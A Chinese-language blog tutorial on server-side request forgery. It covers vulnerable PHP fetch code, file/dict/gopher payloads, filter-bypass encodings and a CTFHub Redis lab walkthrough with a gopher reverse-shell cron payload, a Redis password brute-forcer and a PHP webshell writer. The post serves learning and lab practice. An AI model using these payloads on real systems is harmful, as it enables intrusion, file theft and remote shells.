SSRF

SSRF

一、概念

SSRF (Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统(正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔离的内部系统)。

二、SSRF漏洞原理

SSRF的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。例如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片等,利用的是服务端的请求伪造。SSRF利用存在缺陷的Web应用作为代理攻击远程和本地的服务器。

主要攻击方式如下所示。

  • 对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息。
  • 攻击运行在内网或本地的应用程序。
  • 对内网Web应用进行指纹识别,识别企业内部的资产信息。
  • 攻击内外网的Web应用,主要是使用HTTP GET请求就可以实现的攻击(比如struts2、SQli等)。
  • 利用file协议读取本地文件等。

三、漏洞函数

file_get_contents()fsockopen()curl_exec()fopen()readfile()

举例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>

<?php
function GetFile($host,$port,$link) {
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>

payload:
http://127.0.0.1/ssrf.php?url=192.168.1.10:3306
http://127.0.0.1/ssrf.php?url=file:///c:/windows/win.ini

四、协议

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
echo "test ssrf<br>input param \"url\"";
function curl($url){
$ch = curl_init(); // 创建新的curl资源
curl_setopt($ch, CURLOPT_URL, $url); //设置url和相应的选项
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch); //抓取url并把它传递给浏览器
curl_close($ch); //关闭curl资源,并且释放系统资源
}

$url = $_GET['url'];
curl($url);
?>

file://

在有回显的情况下,利用 file 协议可以读取任意内容

1
http://127.0.0.1/ssrf.php?url=file:///c:/windows/win.ini

dict://

泄露安装软件版本信息,查看端口,操作内网redis服务等

一般配合/etc/hostsproc/net/arp来发现内网网段

1
2
ttp://127.0.0.1/ssrf.php?url=dict://127.0.0.1:80
http://127.0.0.1/ssrf.php?url=dict://127.0.0.1:6379/info

gopher://

gopher支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell

gopher协议格式:

URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流 ,可以用来发起GET、POST的http请求。

特点:

  1. gopher的默认端口是70
  2. 如果发起post请求,回车换行需要使用%0d%0a,如果多个参数,参数之间的&也需要进行URL编码
  3. Gopher 的以下几点局限性:
    • 大部分 PHP 并不会开启 fopen 的 gopher wrapper
    • file_get_contents 的 gopher 协议不能 URLencode
    • file_get_contents 关于 Gopher 的 302 跳转有 bug,导致利用失败
    • PHP 的 curl 默认不 follow 302 跳转
    • curl/libcurl 7.43 上 gopher 协议存在 bug(%00 截断),经测试 7.49 可用
1
2
3
http://127.0.0.1/ssrf.php?url=gopher%3A//127.0.0.1%3A80/_GET%2520/flag%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250A%250D%250A
#redis写shell
gopher://127.0.0.1:6379/_*1 %0d %0a $8%0d %0aflushall %0d %0a*3 %0d %0a $3%0d %0aset %0d %0a $1%0d %0a1 %0d %0a $64%0d %0a %0d %0a %0a %0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/4444 0>&1 %0a %0a %0a %0a %0a %0d %0a %0d %0a %0d %0a*4 %0d %0a $6%0d %0aconfig %0d %0a $3%0d %0aset %0d %0a $3%0d %0adir %0d %0a $16%0d %0a/var/spool/cron/ %0d %0a*4 %0d %0a $6%0d %0aconfig %0d %0a $3%0d %0aset %0d %0a $10%0d %0adbfilename %0d %0a $4%0d %0aroot %0d %0a*1 %0d %0a $4%0d %0asave %0d %0aquit %0d %0a"

http://和https://

探测内网主机存活

五、绕过方式

@绕过

http://www.baidu.com@10.10.10.10http://10.10.10.10请求是相同的。

点分割符号替换

在浏览器中可以使用不同的分割符号来代替域名中的.分割,可以使用来代替:

1
2
3
http://www。target。com
http://www。target。com
http://www.target.com

绕过127.0.0.1等本地ip

1
2
3
4
5
6
7
8
9
10
http://127.0.0.1
http://localhost
http://127.255.255.254
127.0.0.1 - 127.255.255.254
http://[::1]
http://[::ffff:7f00:1]
http://[::ffff:127.0.0.1]
http://127.1
http://127.0.1
http://0:80

ip的进制转换

1
2
3
4
8进制格式:0300.0250.0.1
16进制格式:0xC0.0xA8.0.1
10进制整数格式:3232235521
16进制整数格式:0xC0A80001

特殊符号

1
2
3
4
5
6
7
8
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

urlencode

1
2
3
4
5
6
7
#-*- coding:utf-8 -*-
data = "www.target.com";
alist = []
for x in data:
for i in range(0, len(x), 2):
alist.append((x[i:i+2]).encode('hex'))
print("http://%"+'%'.join(alist))

短网址

1
2
https://www.985.so/
https://www.urlc.cn/

重定向

在vps上部署

1
2
3
4
<?php
header("Location: http://192.168.1.10");
exit();
?>

六、SSRF漏洞点挖掘

  1. 社交分享功能:获取超链接的标题等内容进行显示
  2. 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
  3. 在线翻译:给网址翻译对应网页的内容
  4. 图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
  5. 图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的体验
  6. 云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
  7. 网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
  8. 数据库内置功能:数据库的比如mongodb的copyDatabase函数
  9. 邮件系统:比如接收邮件服务器地址
  10. 编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
  11. 未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞
  12. 从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)

关键字:Share、wap、url、link、src、source、target、u、3g、display、sourceURL、imageURL、domain

七、漏洞利用复现

ssrf打redis

主要方法:

  1. 爆破密码
  2. 写shell
  3. 写入ssh公钥
  4. 定时任务反弹shell
  5. 主从复制

参考https://www.cnblogs.com/wjrblogs/p/14456190.html

环境:CTFHUB-SSRF-Redis协议

漏洞点:/?url=

img

xxxxxxxxxx npiet.exe -tpic download.png Python

img

尝试用gopher爆破密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

target = "http://challenge-f6443f96c8918df3.sandbox.ctfhub.com:10800/?url=" #目标url
rhost = "127.0.0.1"
rport = "6379"

with open("passwd.txt","r") as file:
passwds = file.readlines()
for passwd in passwds:
passwd = passwd.strip("\n")
len_pass = len(passwd)
payload = r"gopher://" + rhost + ":" + rport + "/_%252A2%250d%250a%25244%250d%250aAUTH%250d%250a%2524"+str(len_pass)+r"%250d%250a"+passwd+r"%250D%250A%252A1%250D%250A"
url = target+str(payload)
text = requests.get(url).text
if "OK" in text:
print("[+] 爆破成功 密码为: " + passwd)
print(text + payload)
break

无果,写shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env python
# -*-coding:utf-8-*-

from urllib import parse
protocol="gopher://" # 使用的协议
ip="127.0.0.1"
port="6379" # 目标redis的端口号
shell="\n\n<?php @eval($_POST['xxx']);?>\n\n"
filename="shell.php" # shell的名字
path="/var/www/html" # 写入的路径
passwd="" # 如果有密码 则填入
# 恶意命令
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += parse.quote(redis_format(x))
print(payload)
print("二次url编码后的结果:\n" ,parse.quote(payload))

生成gopher写shell的payload

img

写马,执行,成功

img

无法写入ssh公钥,原因:redis是www-data权限,写不进/root

无法写入定时计划反弹shell,原因:没有crontab命令

ssrf打mysql

参考

https://www.sqlsec.com/2021/12/bytectf2021.html

https://blog.foxsuzuran.top/2023/07/14/%e8%ae%b0%e4%b8%80%e6%ac%a1%e6%94%bb%e5%87%bbssrf%e9%9d%b6%e5%9c%babytectf2021-final-seo%e7%9a%84%e7%bb%8f%e8%bf%87/

ssrf dict探测到有3306。利用Gopherus生成payload探测mysql有无密码

注意Gopherus无法直接生成udf的payload(会截断),需要改一下代码


SSRF
http://example.com/2023/01/01/SSRF/
作者
dddkia
发布于
2023年1月1日
许可协议